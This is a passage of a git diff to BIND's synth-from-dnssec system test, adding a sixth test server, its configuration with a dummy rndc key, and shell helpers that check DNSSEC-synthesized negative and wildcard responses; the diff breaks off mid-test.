diff --git a/bin/tests/system/synthfromdnssec/ns5/named.conf.in b/bin/tests/system/synthfromdnssec/ns5/named.conf.in
index 90b83a6432..42495488c2 100644
--- a/bin/tests/system/synthfromdnssec/ns5/named.conf.in
+++ b/bin/tests/system/synthfromdnssec/ns5/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -23,6 +25,20 @@ options {
 	notify no;
 	dnssec-validation yes;
 	synth-from-dnssec yes;
+	validate-except { example.internal; };
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.5 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+statistics-channels {
+	inet 10.53.0.5 port @EXTRAPORT1@ allow { any; };
 };
 
 zone "." {
@@ -30,4 +46,15 @@ zone "." {
 	file "root.hints";
 };
 
+zone "example.internal" {
+	type forward;
+	forward only;
+	forwarders { 10.53.0.2; };
+};
+
+zone "internal2" {
+	type primary;
+	file "internal2.db";
+};
+
 include "../ns1/trusted.conf";
diff --git a/bin/tests/system/synthfromdnssec/ns5/root.hints b/bin/tests/system/synthfromdnssec/ns5/root.hints
index 63fc22d0e1..6b80b9e7d3 100644
--- a/bin/tests/system/synthfromdnssec/ns5/root.hints
+++ b/bin/tests/system/synthfromdnssec/ns5/root.hints
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/synthfromdnssec/ns6/named.conf.in b/bin/tests/system/synthfromdnssec/ns6/named.conf.in
new file mode 100644
index 0000000000..c10e0f70e2
--- /dev/null
+++ b/bin/tests/system/synthfromdnssec/ns6/named.conf.in
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+// NS6
+
+options {
+	query-source address 10.53.0.6;
+	notify-source 10.53.0.6;
+	transfer-source 10.53.0.6;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.6; };
+	listen-on-v6 { none; };
+	recursion yes;
+	notify no;
+	dnssec-validation no;
+	synth-from-dnssec yes;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.6 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+statistics-channels {
+	inet 10.53.0.6 port @EXTRAPORT1@ allow { any; };
+};
+
+zone "." {
+	type hint;
+	file "root.hints";
+};
+
+include "../ns1/trusted.conf";
diff --git a/bin/tests/system/synthfromdnssec/ns6/root.hints b/bin/tests/system/synthfromdnssec/ns6/root.hints
new file mode 100644
index 0000000000..6b80b9e7d3
--- /dev/null
+++ b/bin/tests/system/synthfromdnssec/ns6/root.hints
@@ -0,0 +1,13 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+.	NS	ns1
+ns1	A	10.53.0.1
diff --git a/bin/tests/system/synthfromdnssec/setup.sh b/bin/tests/system/synthfromdnssec/setup.sh
index 5bf58e6370..d109871d80 100644
--- a/bin/tests/system/synthfromdnssec/setup.sh
+++ b/bin/tests/system/synthfromdnssec/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -19,6 +21,7 @@ copy_setports ns2/named.conf.in ns2/named.conf
 copy_setports ns3/named.conf.in ns3/named.conf
 copy_setports ns4/named.conf.in ns4/named.conf
 copy_setports ns5/named.conf.in ns5/named.conf
+copy_setports ns6/named.conf.in ns6/named.conf
 
 (
     cd ns1
diff --git a/bin/tests/system/synthfromdnssec/tests.sh b/bin/tests/system/synthfromdnssec/tests.sh
index d4a670d52c..1bfd00bda5 100644
--- a/bin/tests/system/synthfromdnssec/tests.sh
+++ b/bin/tests/system/synthfromdnssec/tests.sh
@@ -1,21 +1,28 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+# set -e
+#
 # shellcheck source=conf.sh
 . ../conf.sh
 
+RNDCCMD="$RNDC -c ../common/rndc.conf -p ${CONTROLPORT} -s"
+
 set -e
 
 status=0
 n=1
+synth_default=yes
 
 rm -f dig.out.*
 
@@ -23,21 +30,94 @@ dig_with_opts() {
     "$DIG" +tcp +noadd +nosea +nostat +nocmd +dnssec -p "$PORT" "$@"
 }
 
-for ns in 2 4 5
+check_ad_flag() {
+    if [ ${1} = yes ]
+    then
+	grep "flags:[^;]* ad[^;]*; QUERY" ${2} > /dev/null || return 1
+    else
+	grep "flags:[^;]* ad[^;]*; QUERY" ${2} > /dev/null && return 1
+    fi
+    return 0
+}
+
+check_status() {
+    grep "status: ${1}," ${2} > /dev/null || return 1
+    return 0
+}
+
+check_synth_soa() (
+    name=$(echo "$1" | sed 's/\./\\./g')
+    grep "^${name}.*[0-9]*.IN.SOA" ${2} > /dev/null || return 1
+    grep "^${name}.*3600.IN.SOA" ${2} > /dev/null && return 1
+    return 0
+)
+
+check_nosynth_soa() (
+    name=$(echo "$1" | sed 's/\./\\./g')
+    grep "^${name}.*3600.IN.SOA" ${2} > /dev/null || return 1
+    return 0
+)
+
+check_synth_a() (
+    name=$(echo "$1" | sed 's/\./\\./g')
+    grep "^${name}.*[0-9]*.IN.A.[0-2]" ${2} > /dev/null || return 1
+    grep "^${name}.*3600.IN.A.[0-2]" ${2} > /dev/null && return 1
+    return 0
+)
+
+check_nosynth_a() (
+    name=$(echo "$1" | sed 's/\./\\./g')
+    grep "^${name}.*3600.IN.A.[0-2]" ${2} > /dev/null || return 1
+    return 0
+)
+
+check_synth_aaaa() (
+    name=$(echo "$1" | sed 's/\./\\./g')
+    grep "^${name}.*[0-9]*.IN.AAAA" ${2} > /dev/null || return 1
+    grep "^${name}.*3600.IN.A" ${2} > /dev/null && return 1
+    return 0
+)
+
+check_nosynth_aaaa() (
+    name=$(echo "$1" | sed 's/\./\\./g')
+    grep "^${name}.*3600.IN.AAAA" ${2} > /dev/null || return 1
+    return 0
+)
+
+check_synth_cname() (
+    name=$(echo "$1" | sed 's/\./\\./g')
+    grep "^${name}.*[0-9]*.IN.CNAME" ${2} > /dev/null || return 1
+    grep "^${name}.*3600.IN.CNAME" ${2} > /dev/null && return 1
+    return 0
+)
+
+check_nosynth_cname() (
+    name=$(echo "$1" | sed 's/\./\\./g')
+    grep "^${name}.*3600.IN.CNAME" ${2} > /dev/null || return 1
+    return 0
+)
+
+check_auth_count() {
+    grep "AUTHORITY: ${1}," ${2} > /dev/null || return 1
+    return 0
+}
+
+for ns in 2 4 5 6
 do
     case $ns in
-    2) description="<default>";;
-    4) description="no";;
-    5) description="yes";;
+    2) ad=yes; description="<default>";;
+    4) ad=yes; description="no";;
+    5) ad=yes; description="yes";;
+    6) ad=no; description="yes; dnssec-validation no";;
     *) exit 1;;
     esac
     echo_i "prime negative NXDOMAIN response (synth-from-dnssec ${description};) ($n)"
     ret=0
     dig_with_opts a.example. @10.53.0.${ns} a > dig.out.ns${ns}.test$n || ret=1
-    grep "flags:[^;]* ad[ ;]" dig.out.ns${ns}.test$n > /dev/null || ret=1
-    grep "status: NXDOMAIN," dig.out.ns${ns}.test$n > /dev/null || ret=1
-    grep "example.*3600.IN.SOA" dig.out.ns${ns}.test$n > /dev/null || ret=1
-    [ $ns -eq ${ns} ] && nxdomain=dig.out.ns${ns}.test$n
+    check_ad_flag $ad dig.out.ns${ns}.test$n || ret=1
+    check_status NXDOMAIN dig.out.ns${ns}.test$n || ret=1
+    check_nosynth_soa example. dig.out.ns${ns}.test$n || ret=1
+    [ $ns -eq 2 ] && cp dig.out.ns${ns}.test$n nxdomain.out
     n=$((n+1))
     if [ $ret != 0 ]; then echo_i "failed"; fi
     status=$((status+ret))
@@ -45,10 +125,10 @@ do
     echo_i "prime negative NODATA response (synth-from-dnssec ${description};) ($n)"
     ret=0
     dig_with_opts nodata.example. @10.53.0.${ns} a > dig.out.ns${ns}.test$n || ret=1
-    grep "flags:[^;]* ad[ ;]" dig.out.ns${ns}.test$n > /dev/null || ret=1
-    grep "status: NOERROR," dig.out.ns${ns}.test$n > /dev/null || ret=1
-    grep "example.*3600.IN.SOA" dig.out.ns${ns}.test$n > /dev/null || ret=1
-    [ $ns -eq 2 ] && nodata=dig.out.ns${ns}.test$n
+    check_ad_flag $ad dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
+    check_nosynth_soa example. dig.out.ns${ns}.test$n || ret=1
+    [ $ns -eq 2 ] && cp dig.out.ns${ns}.test$n nodata.out
     n=$((n+1))
     if [ $ret != 0 ]; then echo_i "failed"; fi
     status=$((status+ret))
@@ -56,9 +136,10 @@ do
     echo_i "prime wildcard response (synth-from-dnssec ${description};) ($n)"
     ret=0
     dig_with_opts a.wild-a.example. @10.53.0.${ns} a > dig.out.ns${ns}.test$n || ret=1
-    grep "flags:[^;]* ad[ ;]" dig.out.ns${ns}.test$n > /dev/null || ret=1
-    grep "status: NOERROR," dig.out.ns${ns}.test$n > /dev/null || ret=1
-    grep "a.wild-a.example.*3600.IN.A" dig.out.ns${ns}.test$n > /dev/null || ret=1
+    check_ad_flag $ad dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
+    check_nosynth_a a.wild-a.example. dig.out.ns${ns}.test$n || ret=1
+    [ $ns -eq 2 ] && sed 's/^a\./b./' dig.out.ns${ns}.test$n > wild.out
     n=$((n+1))
     if [ $ret != 0 ]; then echo_i "failed"; fi
     status=$((status+ret))
@@ -66,20 +147,184 @@ do
     echo_i "prime wildcard CNAME response (synth-from-dnssec ${description};) ($n)"
     ret=0
     dig_with_opts a.wild-cname.example. @10.53.0.${ns} a > dig.out.ns${ns}.test$n || ret=1
-    grep "flags:[^;]* ad[ ;]" dig.out.ns${ns}.test$n > /dev/null || ret=1
-    grep "status: NOERROR," dig.out.ns${ns}.test$n > /dev/null || ret=1
-    grep "a.wild-cname.example.*3600.IN.CNAME" dig.out.ns${ns}.test$n > /dev/null || ret=1
+    check_ad_flag $ad dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
+    check_nosynth_cname a.wild-cname.example. dig.out.ns${ns}.test$n || ret=1
+    [ $ns -eq 2 ] && sed 's/^a\./b./' dig.out.ns${ns}.test$n > wildcname.out
     n=$((n+1))
     if [ $ret != 0 ]; then echo_i "failed"; fi
     status=$((status+ret))
+
+    echo_i "prime wildcard NODATA 1 NSEC response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    dig_with_opts a.wild-1-nsec.example. @10.53.0.${ns} TXT > dig.out.ns${ns}.test$n || ret=1
+    check_ad_flag $ad dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
+    check_nosynth_soa example. dig.out.ns${ns}.test$n || ret=1
+    check_auth_count 4 dig.out.ns${ns}.test$n || ret=1
+    [ $ns -eq 2 ] && sed 's/^a\./b./' dig.out.ns${ns}.test$n > wildnodata1nsec.out
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "prime wildcard NODATA 2 NSEC response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    dig_with_opts a.wild-2-nsec.example. @10.53.0.${ns} TXT > dig.out.ns${ns}.test$n || ret=1
+    check_ad_flag $ad dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
+    check_nosynth_soa example. dig.out.ns${ns}.test$n || ret=1
+    check_auth_count 6 dig.out.ns${ns}.test$n || ret=1
+    [ $ns -eq 2 ] && sed 's/^a\./b./' dig.out.ns${ns}.test$n > wildnodata2nsec.out
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "prime wildcard NODATA 2 NSEC after data response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    dig_with_opts a.wild-2-nsec-afterdata.example. @10.53.0.${ns} TXT > dig.out.txt.ns${ns}.test$n || ret=1
+    check_ad_flag $ad dig.out.txt.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.txt.ns${ns}.test$n || ret=1
+    check_nosynth_soa example. dig.out.txt.ns${ns}.test$n || ret=1
+    check_auth_count 6 dig.out.txt.ns${ns}.test$n || ret=1
+    [ $ns -eq 2 ] && sed 's/^a\./b./' dig.out.txt.ns${ns}.test$n > wildnodata2nsecafterdata.out
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "prime insecure negative NXDOMAIN response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    dig_with_opts a.insecure.example. @10.53.0.${ns} a > dig.out.ns${ns}.test$n || ret=1
+    check_ad_flag no dig.out.ns${ns}.test$n || ret=1
+    check_status NXDOMAIN dig.out.ns${ns}.test$n || ret=1
+    check_nosynth_soa insecure.example. dig.out.ns${ns}.test$n || ret=1
+    [ $ns -eq 2 ] && cp dig.out.ns${ns}.test$n insecure.nxdomain.out
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "prime insecure negative NODATA response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    dig_with_opts nodata.insecure.example. @10.53.0.${ns} a > dig.out.ns${ns}.test$n || ret=1
+    check_ad_flag no dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
+    check_nosynth_soa insecure.example. dig.out.ns${ns}.test$n || ret=1
+    [ $ns -eq 2 ] && cp dig.out.ns${ns}.test$n insecure.nodata.out
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "prime insecure wildcard response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    dig_with_opts a.wild-a.insecure.example. @10.53.0.${ns} a > dig.out.ns${ns}.test$n || ret=1
+    check_ad_flag no dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
+    check_nosynth_a a.wild-a.insecure.example. dig.out.ns${ns}.test$n || ret=1
+    [ $ns -eq 2 ] && sed 's/^a\./b./' dig.out.ns${ns}.test$n > insecure.wild.out
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "prime wildcard CNAME response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    dig_with_opts a.wild-cname.insecure.example. @10.53.0.${ns} a > dig.out.ns${ns}.test$n || ret=1
+    check_ad_flag no dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
+    check_nosynth_cname a.wild-cname.insecure.example. dig.out.ns${ns}.test$n || ret=1
+    [ $ns -eq 2 ] && sed 's/^a\./b./' dig.out.ns${ns}.test$n > insecure.wildcname.out
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "prime insecure wildcard NODATA 1 NSEC response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    dig_with_opts a.wild-1-nsec.insecure.example. @10.53.0.${ns} TXT > dig.out.ns${ns}.test$n || ret=1
+    check_ad_flag no dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
+    check_nosynth_soa insecure.example. dig.out.ns${ns}.test$n || ret=1
+    check_auth_count 4 dig.out.ns${ns}.test$n || ret=1
+    [ $ns -eq 2 ] && cp dig.out.ns${ns}.test$n insecure.wildnodata1nsec.out
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "prime insecure wildcard NODATA 2 NSEC response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    dig_with_opts a.wild-2-nsec.insecure.example. @10.53.0.${ns} TXT > dig.out.ns${ns}.test$n || ret=1
+    check_ad_flag no dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
+    check_nosynth_soa insecure.example. dig.out.ns${ns}.test$n || ret=1
+    check_auth_count 6 dig.out.ns${ns}.test$n || ret=1
+    [ $ns -eq 2 ] && cp dig.out.ns${ns}.test$n insecure.wildnodata2nsec.out
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "prime insecure wildcard NODATA 2 NSEC after data response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    dig_with_opts a.wild-2-nsec-afterdata.insecure.example. @10.53.0.${ns} TXT > dig.out.txt.ns${ns}.test$n || ret=1
+    check_ad_flag no dig.out.txt.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.txt.ns${ns}.test$n || ret=1
+    check_nosynth_soa insecure.example. dig.out.txt.ns${ns}.test$n || ret=1
+    check_auth_count 6 dig.out.txt.ns${ns}.test$n || ret=1
+    [ $ns -eq 2 ] && sed 's/^a\./b./' dig.out.txt.ns${ns}.test$n > insecure.wildnodata2nsecafterdata.out
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "prime minimal NXDOMAIN response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    dig_with_opts nxdomain.minimal. @10.53.0.${ns} a > dig.out.ns${ns}.test$n || ret=1
+    check_ad_flag $ad dig.out.ns${ns}.test$n || ret=1
+    check_status NXDOMAIN dig.out.ns${ns}.test$n || ret=1
+    check_nosynth_soa minimal. dig.out.ns${ns}.test$n || ret=1
+    grep "nxdomaia.minimal.*3600.IN.NSEC.nxdomaiz.minimal. RRSIG NSEC" dig.out.ns${ns}.test$n > /dev/null || ret=1
+    [ $ns -eq 2 ] && cp dig.out.ns${ns}.test$n minimal.nxdomain.out
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "prime black lie NODATA response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    dig_with_opts black.minimal. @10.53.0.${ns} a > dig.out.ns${ns}.test$n || ret=1
+    check_ad_flag $ad dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
+    check_nosynth_soa minimal. dig.out.ns${ns}.test$n || ret=1
+    grep 'black.minimal.*3600.IN.NSEC.\\000.black.minimal. RRSIG NSEC' dig.out.ns${ns}.test$n > /dev/null || ret=1
+    [ $ns -eq 2 ] && cp dig.out.ns${ns}.test$n black.out
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "prime bad type map NODATA response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    dig_with_opts badtypemap.minimal. @10.53.0.${ns} TXT > dig.out.ns${ns}.test$n || ret=1
+    check_ad_flag $ad dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
+    check_nosynth_soa minimal. dig.out.ns${ns}.test$n || ret=1
+    grep 'badtypemap.minimal.*3600.IN.NSEC.black.minimal. A$' dig.out.ns${ns}.test$n > /dev/null || ret=1
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "prime SOA without DNSKEY bad type map NODATA response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    dig_with_opts soa-without-dnskey. @10.53.0.${ns} TXT > dig.out.ns${ns}.test$n || ret=1
+    check_ad_flag $ad dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
+    check_nosynth_soa soa-without-dnskey. dig.out.ns${ns}.test$n || ret=1
+    grep 'soa-without-dnskey.*3600.IN.NSEC.ns1.soa-without-dnskey. NS SOA RRSIG NSEC$' dig.out.ns${ns}.test$n > /dev/null || ret=1
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
 done
 
 echo_i "prime redirect response (+nodnssec) (synth-from-dnssec <default>;) ($n)"
 ret=0
-dig_with_opts +nodnssec a.redirect. @10.53.0.3 a > dig.out.ns2.test$n || ret=1
-grep "flags:[^;]* ad[ ;]" dig.out.ns2.test$n > /dev/null && ret=1
-grep "status: NOERROR," dig.out.ns2.test$n > /dev/null || ret=1
-grep 'a\.redirect\..*300.IN.A.100\.100\.100\.2' dig.out.ns2.test$n > /dev/null || ret=1
+dig_with_opts +nodnssec a.redirect. @10.53.0.3 a > dig.out.ns3.test$n || ret=1
+check_ad_flag no dig.out.ns3.test$n || ret=1
+check_status NOERROR dig.out.ns3.test$n || ret=1
+grep 'a\.redirect\..*300.IN.A.100\.100\.100\.2' dig.out.ns3.test$n > /dev/null || ret=1
 n=$((n+1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -89,108 +334,568 @@ status=$((status+ret))
 #
 sleep 1
 
-for ns in 2 4 5
+for ns in 2 4 5 6
 do
     case $ns in
-    2) synth=no description="<default>";;
-    4) synth=no  description="no";;
-    5) synth=yes description="yes";;
+    2) ad=yes synth=${synth_default} description="<default>";;
+    4) ad=yes synth=no description="no";;
+    5) ad=yes synth=yes description="yes";;
+    6) ad=no synth=no description="yes; dnssec-validation no";;
     *) exit 1;;
     esac
     echo_i "check synthesized NXDOMAIN response (synth-from-dnssec ${description};) ($n)"
     ret=0
+    nextpart ns1/named.run > /dev/null
     dig_with_opts b.example. @10.53.0.${ns} a > dig.out.ns${ns}.test$n || ret=1
-    grep "flags:[^;]* ad[ ;]" dig.out.ns${ns}.test$n > /dev/null || ret=1
-    grep "status: NXDOMAIN," dig.out.ns${ns}.test$n > /dev/null || ret=1
+    check_ad_flag $ad dig.out.ns${ns}.test$n || ret=1
+    check_status NXDOMAIN dig.out.ns${ns}.test$n || ret=1
     if [ ${synth} = yes ]
     then
-	grep "example.*IN.SOA" dig.out.ns${ns}.test$n > /dev/null || ret=1
-	grep "example.*3600.IN.SOA" dig.out.ns${ns}.test$n > /dev/null && ret=1
+	check_synth_soa example. dig.out.ns${ns}.test$n || ret=1
+	nextpart ns1/named.run | grep b.example/A > /dev/null && ret=1
     else
-	grep "example.*3600.IN.SOA" dig.out.ns${ns}.test$n > /dev/null || ret=1
+	check_nosynth_soa example. dig.out.ns${ns}.test$n || ret=1
+	nextpart ns1/named.run | grep b.example/A > /dev/null || ret=1
     fi
-    digcomp $nxdomain dig.out.ns${ns}.test$n || ret=1
+    digcomp nxdomain.out dig.out.ns${ns}.test$n || ret=1
     n=$((n+1))
     if [ $ret != 0 ]; then echo_i "failed"; fi
     status=$((status+ret))
 
     echo_i "check synthesized NODATA response (synth-from-dnssec ${description};) ($n)"
     ret=0
+    nextpart ns1/named.run > /dev/null
     dig_with_opts nodata.example. @10.53.0.${ns} aaaa > dig.out.ns${ns}.test$n || ret=1
-    grep "flags:[^;]* ad[ ;]" dig.out.ns${ns}.test$n > /dev/null || ret=1
-    grep "status: NOERROR," dig.out.ns${ns}.test$n > /dev/null || ret=1
+    check_ad_flag $ad dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
     if [ ${synth} = yes ]
     then
-	grep "example.*IN.SOA" dig.out.ns${ns}.test$n > /dev/null || ret=1
-	grep "example.*3600.IN.SOA" dig.out.ns${ns}.test$n > /dev/null && ret=1
+	check_synth_soa example. dig.out.ns${ns}.test$n || ret=1
+	nextpart ns1/named.run | grep nodata.example/AAAA > /dev/null && ret=1
     else
-	grep "example.*3600.IN.SOA" dig.out.ns${ns}.test$n > /dev/null || ret=1
+	check_nosynth_soa example. dig.out.ns${ns}.test$n || ret=1
+	nextpart ns1/named.run | grep nodata.example/AAAA > /dev/null || ret=1
     fi
-    digcomp $nodata dig.out.ns${ns}.test$n || ret=1
+    digcomp nodata.out dig.out.ns${ns}.test$n || ret=1
     n=$((n+1))
     if [ $ret != 0 ]; then echo_i "failed"; fi
     status=$((status+ret))
 
     echo_i "check synthesized wildcard response (synth-from-dnssec ${description};) ($n)"
     ret=0
+    nextpart ns1/named.run > /dev/null
     dig_with_opts b.wild-a.example. @10.53.0.${ns} a > dig.out.ns${ns}.test$n || ret=1
-    grep "flags:[^;]* ad[ ;]" dig.out.ns${ns}.test$n > /dev/null || ret=1
-    grep "status: NOERROR," dig.out.ns${ns}.test$n > /dev/null || ret=1
+    check_ad_flag $ad dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
     if [ ${synth} = yes ]
     then
-	    grep "b\.wild-a\.example\..*IN.A" dig.out.ns${ns}.test$n > /dev/null || ret=1
-	    grep "b\.wild-a\.example\..*3600.IN.A" dig.out.ns${ns}.test$n > /dev/null && ret=1
+	check_synth_a b.wild-a.example. dig.out.ns${ns}.test$n || ret=1
+	nextpart ns1/named.run | grep b.wild-a.example/A > /dev/null && ret=1
     else
-	    grep "b\.wild-a\.example\..*3600.IN.A" dig.out.ns${ns}.test$n > /dev/null || ret=1
+	check_nosynth_a b.wild-a.example. dig.out.ns${ns}.test$n || ret=1
+	nextpart ns1/named.run | grep b.wild-a.example/A > /dev/null || ret=1
     fi
+    digcomp wild.out dig.out.ns${ns}.test$n || ret=1
     n=$((n+1))
     if [ $ret != 0 ]; then echo_i "failed"; fi
     status=$((status+ret))
 
     echo_i "check synthesized wildcard CNAME response (synth-from-dnssec ${description};) ($n)"
     ret=0
+    nextpart ns1/named.run > /dev/null
     dig_with_opts b.wild-cname.example. @10.53.0.${ns} a > dig.out.ns${ns}.test$n || ret=1
-    grep "flags:[^;]* ad[ ;]" dig.out.ns${ns}.test$n > /dev/null || ret=1
-    grep "status: NOERROR," dig.out.ns${ns}.test$n > /dev/null || ret=1
+    check_ad_flag $ad dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
     if [ ${synth} = yes ]
     then
-	grep "b.wild-cname.example.*IN.CNAME" dig.out.ns${ns}.test$n > /dev/null || ret=1
-	grep "b.wild-cname.example.*3600.IN.CNAME" dig.out.ns${ns}.test$n > /dev/null && ret=1
+	check_synth_cname b.wild-cname.example. dig.out.ns${ns}.test$n || ret=1
+	nextpart ns1/named.run | grep b.wild-cname.example/A > /dev/null && ret=1
     else
-	grep "b.wild-cname.example.*3600.IN.CNAME" dig.out.ns${ns}.test$n > /dev/null || ret=1
+	check_nosynth_cname b.wild-cname.example. dig.out.ns${ns}.test$n || ret=1
+	nextpart ns1/named.run | grep b.wild-cname.example/A > /dev/null || ret=1
     fi
     grep "ns1.example.*.IN.A" dig.out.ns${ns}.test$n > /dev/null || ret=1
+    digcomp wildcname.out dig.out.ns${ns}.test$n || ret=1
+    n=$((n+1))
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    echo_i "check synthesized wildcard NODATA 1 NSEC response (synth-from-dnssec ${description};) ($n)"
+    ret=0
+    nextpart ns1/named.run > /dev/null
+    dig_with_opts b.wild-1-nsec.example. @10.53.0.${ns} AAAA > dig.out.ns${ns}.test$n || ret=1
+    check_ad_flag $ad dig.out.ns${ns}.test$n || ret=1
+    check_status NOERROR dig.out.ns${ns}.test$n || ret=1
+    if [ ${synth} = yes ]
+    then
+	check_synth_soa example. dig.out.ns${ns}.test$n || ret=1
+	nextpart ns1/named.run | grep b.wild-1-nsec.example/AAAA > /dev/null && ret=1
+    else
